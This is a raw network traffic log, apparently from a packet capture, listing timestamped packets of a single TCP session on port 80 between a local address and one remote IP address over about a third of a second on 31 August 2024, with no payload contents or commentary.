Aug 31, 2024 10:14:05.776592016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776602030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776643038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.777115107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777123928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777142048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777163982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.777185917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.777272940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777285099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777297974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777318954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.777340889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.777518034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777573109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.777681112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777690887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777708054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.777724981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.777750969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.778594017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778646946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.778759003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778768063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778784037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778798103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778810978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.778810978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778832912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778844118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.778850079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778858900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778872013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.778876066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.778903008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.778923035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.778959036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779005051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779134035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779141903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779156923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779171944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779179096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779180050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779196978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779206038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779218912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779236078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779264927 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779290915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779299021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779315948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779330969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779355049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779442072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779450893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779465914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779488087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779490948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779496908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779517889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779541016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779738903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779751062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779768944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779789925 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779804945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779913902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779925108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779958963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.779959917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779978991 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.779999971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.780159950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.780169010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.780184031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.780208111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.780229092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.780498028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.780507088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.780524969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.780551910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.780566931 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.780945063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.780955076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.780972004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.780998945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.781024933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.781260967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.781270027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.781291008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.781308889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.781342030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.781409979 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.781419992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.781439066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.781450033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.781461000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.781487942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.781554937 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.781598091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.782322884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782331944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782350063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782358885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782368898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.782377005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782386065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782404900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.782426119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.782653093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782661915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782705069 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.782849073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782857895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782876015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.782901049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.782927990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.783061981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.783071995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.783091068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.783098936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.783102036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.783124924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.783153057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.820636034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.820646048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.820676088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.820683956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.820702076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.820709944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.820725918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.820736885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.820785999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.820785999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.820785999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.825385094 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.870665073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.870754957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.870764971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.870784998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.870865107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.870865107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.870865107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.870865107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.924439907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.924452066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.924458027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.924472094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.924484968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.924519062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.924701929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.924701929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925374985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925385952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925407887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925427914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925457954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925486088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925498009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925514936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925539017 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925554037 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925687075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925721884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925729990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925740004 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925766945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925832987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925843000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925858974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925867081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925885916 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925892115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925901890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925906897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925918102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925932884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925946951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925956011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925967932 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.925975084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.925983906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926000118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926000118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926008940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926023006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926031113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926053047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926074028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926352024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926373959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926400900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926415920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926433086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926441908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926460028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926470995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926484108 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926513910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926686049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926734924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926742077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926753044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926769972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926791906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926795006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926814079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926816940 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926822901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926836014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926845074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926852942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926862955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926863909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.926892042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.926903009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931375027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931382895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931389093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931411028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931420088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931430101 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931463003 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931540966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931560993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931577921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931585073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931586027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931602955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931613922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931648970 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931725025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931746960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931756020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931772947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931797981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931808949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931818962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931835890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931855917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931875944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931911945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931921959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931940079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931950092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931965113 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.931965113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931981087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.931994915 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.932012081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.932034969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.932044029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.932076931 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.932104111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.932128906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.932138920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.932179928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.932209015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.932219028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.932236910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.932246923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.932260990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.932280064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.934756994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.934773922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.934789896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.934825897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.934854031 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.934910059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.934920073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.934937954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.934947014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.934961081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.934963942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.934973001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.934979916 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.934989929 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935013056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935014009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.935023069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935039997 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935041904 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.935050011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935066938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935072899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.935081005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935091972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935105085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.935110092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935120106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935123920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.935138941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935142040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.935148954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935163975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935174942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935175896 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.935195923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.935204983 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.935224056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.935266018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.969914913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.969924927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.969940901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.969950914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.969963074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.969974995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.969985008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.969994068 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.970005989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.970015049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.970032930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.970041037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.970160961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.970160961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.970160961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.970160961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.970160961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.972387075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.972443104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.020101070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.020112038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.020129919 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.020152092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.020176888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.073391914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.073411942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.073426962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.073441982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.073446989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:06.073462009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:06.073467970 CEST	49704	80	192.168.2.5	185.215.113.100
